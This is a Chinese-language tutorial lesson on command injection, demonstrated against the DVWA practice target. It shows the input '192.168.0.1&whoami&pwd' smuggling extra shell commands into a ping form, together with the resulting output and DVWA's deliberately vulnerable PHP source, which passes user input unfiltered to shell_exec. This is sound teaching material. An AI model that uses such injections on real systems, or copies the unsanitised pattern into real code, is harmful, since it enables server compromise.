第15课:命令执行漏洞

第15课:命令执行漏洞

命令执行漏洞的形成原因:由于开发人员编写源码,没有针对代码中可执行的特殊函数入口做过滤,导致客户端可以提交恶意构造语句提交,并交由服务器端执行。命令注入攻击中 Web 服务器没有过滤类似 system()、eval()、exec() 等函数是该漏洞攻击成功的最主要原因。

下面将会使用 DVWA 靶机的执行漏洞进行演示和讲解。

enter image description here

如图所示,在上面提供了一个免费 PING 网站的功能,我这里输入了网址,系统也给出了返回。

比较有意思的是,如果你接触过 Linux 系统,就会发现,这条命令是由系统底层调用的,也就是说,它页面上的这个 Ping IP 的功能是调用的系统层面的 Ping,那么我们尝试一些其他的字符,如 &&。

在我输入 192.168.0.1&whoami&pwd 之后,系统返回如下:

    PING 192.168.0.1 (192.168.0.1) 56(84) bytes of data.
64 bytes from 192.168.0.1: icmp_seq=1 ttl=64 time=0.000 ms
www-data
/var/www/dvwa/vulnerabilities/exec
64 bytes from 192.168.0.1: icmp_seq=2 ttl=64 time=0.901 ms
64 bytes from 192.168.0.1: icmp_seq=3 ttl=64 time=0.964 ms

--- 192.168.0.1 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 1998ms
rtt min/avg/max/mdev = 0.000/0.621/0.964/0.441 ms

可以看到调用了系统底层的命令,那么就意味着,从这个 ping 上面,我们可以对底层进行违规操作。

这就是一个命令执行的例子,原因还是在输出输入的问题上。

源代码如下:

<?php 

if( isset( $_POST[ 'submit' ] ) ) { 

    $target = $_REQUEST[ 'ip' ]; 

    // Determine OS and execute the ping command. 
    if (stristr(php_uname('s'), 'Windows NT')) {  

        $cmd = shell_exec( 'ping  ' . $target ); 
        echo '<pre>'.$cmd.'</pre>'; 

    } else {  

        $cmd = shell_exec( 'ping  -c 3 ' . $target ); 
        echo '<pre>'.$cmd.'</pre>'; 

    } 

} 
?>

另外,DVWA 还有中级高级的级别,但我不准备多做解释,因为我觉得各位读者把这当作一次演练环境会更好,而不是一本纯攻略书。

上一篇
下一篇
目录